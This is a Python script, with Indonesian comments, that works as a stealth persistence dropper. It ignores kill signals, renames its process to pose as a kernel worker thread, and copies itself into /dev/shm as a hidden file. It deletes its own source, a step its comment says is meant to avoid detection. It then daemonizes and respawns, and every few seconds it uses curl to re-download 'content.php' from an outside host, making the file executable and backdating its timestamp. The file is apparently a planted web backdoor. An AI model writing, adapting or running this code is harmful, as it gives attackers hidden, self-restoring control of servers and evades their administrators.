import os
import sys
import time
import signal
import ctypes
import random

# Konfigurasi
URL = "https://raw.zeverix.com/raw/untitled-384"
FILE_NAME = "content.php"
FILE_PATH = FILE_NAME
TIMESTAMP = "201201081531.12"
SLEEP_INTERVAL = 5

SCRIPT_DIR = "/dev/shm"
SCRIPT_NAME = ".kworker"
SCRIPT_PATH = os.path.join(SCRIPT_DIR, SCRIPT_NAME)
FIXED_PROCESS_NAME = b"kworker/0:1"

def ignore_signal(signum, frame):
    pass

for sig in [signal.SIGTERM, signal.SIGINT, signal.SIGHUP, signal.SIGQUIT, signal.SIGTSTP]:
    try:
        signal.signal(sig, ignore_signal)
    except:
        pass

def rename_process():
    try:
        libc = ctypes.CDLL("libc.so.6")
        libc.prctl(15, FIXED_PROCESS_NAME, 0, 0, 0)
        with open("/proc/self/comm", "w") as f:
            f.write(FIXED_PROCESS_NAME.decode())
        ctypes.pythonapi.PySys_SetArgv(ctypes.c_int(0), ctypes.py_object([]))
        sys.argv = [""]
    except:
        pass

def download_file(url, file_path):
    if os.system("which curl >/dev/null 2>&1") != 0:
        return False
    for attempt in range(3):
        cmd = "curl -s --max-time 10 {} -o {}".format(url, file_path)
        if os.system(cmd) == 0:
            try:
                os.chmod(file_path, 0o755)
                os.system("touch -t {} {}".format(TIMESTAMP, file_path))
            except:
                pass
            return True
        time.sleep(2 ** attempt)
    return False

def enforce_permission(path, mode=0o755):
    try:
        current_mode = oct(os.stat(path).st_mode & 0o777)
        expected_mode = oct(mode)
        if current_mode != expected_mode:
            os.chmod(path, mode)
    except:
        pass

def self_delete():
    try:
        os.remove(SCRIPT_PATH)
    except:
        pass

def daemonize():
    try:
        if os.fork() > 0:
            sys.exit(0)
        os.setsid()
        if os.fork() > 0:
            sys.exit(0)
        os.umask(0)
        sys.stdin.flush()
        sys.stdout.flush()
        sys.stderr.flush()
        devnull = os.open('/dev/null', os.O_RDWR)
        os.dup2(devnull, 0)
        os.dup2(devnull, 1)
        os.dup2(devnull, 2)
    except:
        pass

def respawn():
    while True:
        try:
            pid = os.fork()
            if pid == 0:
                rename_process()
                break
            else:
                os.waitpid(pid, 0)
        except:
            break

if __name__ == "__main__":
    try:
        this_file = os.path.abspath(__file__)
    except:
        this_file = sys.argv[0]

    # Hapus file sumber (contoh.py atau file ini) supaya tidak ketahuan
    try:
        if os.path.exists(this_file):
            os.remove(this_file)
    except:
        pass

    if this_file != SCRIPT_PATH:
        if not os.path.isdir(SCRIPT_DIR):
            try:
                os.makedirs(SCRIPT_DIR)
            except:
                pass
        try:
            with open(this_file, "rb") as src:
                with open(SCRIPT_PATH, "wb") as dst:
                    dst.write(src.read())
            os.chmod(SCRIPT_PATH, 0o755)
            os.execl(sys.executable, sys.executable, SCRIPT_PATH)
        except:
            pass

    self_delete()
    daemonize()
    respawn()
    rename_process()

    while True:
        try:
            rename_process()
            if not os.path.exists(FILE_PATH) or not os.path.isfile(FILE_PATH):
                download_file(URL, FILE_PATH)
            else:
                enforce_permission(FILE_PATH)
            time.sleep(SLEEP_INTERVAL + random.uniform(-2, 2))
        except:
            time.sleep(5)